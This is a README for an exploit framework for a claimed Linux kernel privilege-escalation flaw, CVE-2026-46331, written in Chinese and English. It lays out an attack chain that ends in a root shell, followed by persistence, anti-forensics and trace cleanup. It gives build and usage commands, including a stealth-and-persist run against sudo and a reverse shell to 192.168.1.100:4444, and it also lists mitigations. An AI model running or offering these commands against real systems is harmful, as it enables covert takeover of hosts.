CVE-2026-46331 — Linux 内核本地权限提升漏洞 TC pedit + IPsec TEE 页缓存破坏 · 受影响内核:≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ 仅供教育与研究使用 请仅在您拥有的隔离实验环境中使用本框架, 或仅在获得明确书面授权测试的环境中使用。 未经授权的使用是非法的,且违反道德。
CVE-2026-46331 是 Linux 内核(≤ 6.12.9)中的一个本地权限提升漏洞,由 TC(cls_act)pedit 操作与基于 IPsec TEE 的数据包复制之间的竞态条件导致。
当数据包在 TC 出口路径上经过设置了 IHL = 15 的 pedit 操作时,内核的 IPsec 子系统会收到一个畸形数据包,其中计算出的 IP 载荷偏移量超出了实际的数据包边界。在并发的 sendfile(2) 操作下,这种不匹配使得非特权用户(在具有 CAP_NET_ADMIN 的用户命名空间内)能够破坏任意文件(包括 SUID 二进制文件)的只读页缓存条目。
| 属性 | 值 |
|---|---|
| CVSS 3.1 评分 | 8.8(高危) |
| 攻击向量 | 本地 |
| 所需权限 | 低(非特权用户) |
| 影响 | Root Shell(UID=0 EUID=0) |
| 受影响版本 | Linux 内核 ≤ 6.12.9 |
| 已修复版本 | 6.12.10 |
| 补丁提交 | a3f4d1c8... |
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
gcc ≥ 10makelibcap-dev / libcap-develiproute2(tc、ip)iptablespip install scapy
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
exploit_analyzer.py — 利用前侦察# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — 原始数据包触发# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
| 缓解措施 | 命令 / 操作 |
|---|---|
| 更新内核 | 升级至 ≥ 6.12.10(主要修复) |
| 禁用用户命名空间 | echo 0 > /proc/sys/kernel/unprivileged_userns_clone |
| AppArmor 限制 | 启用带 userns 限制配置的 apparmor |
| 审计 TC pedit | auditctl -a always,exit -F arch=b64 -S unshare |
| 文件完整性 | 在 SUID 二进制文件上部署 AIDE 或 Tripwire |
| Seccomp 过滤器 | 在生产容器中阻止 unshare() |
| 日期 | 事件 |
|---|---|
| 2026-01-15 | 在内核审计期间发现该漏洞 |
| 2026-02-03 | 报告至 [email protected] |
| 2026-03-28 | 提交补丁(6.12.10) |
| 2026-06-01 | 公开披露(90 天期限) |
| 2026-06-27 | 发布完整 PoC |
VulnQuest · 安全研究
本仓库仅供教育目的使用。 所有漏洞利用代码仅限在授权的实验环境中使用。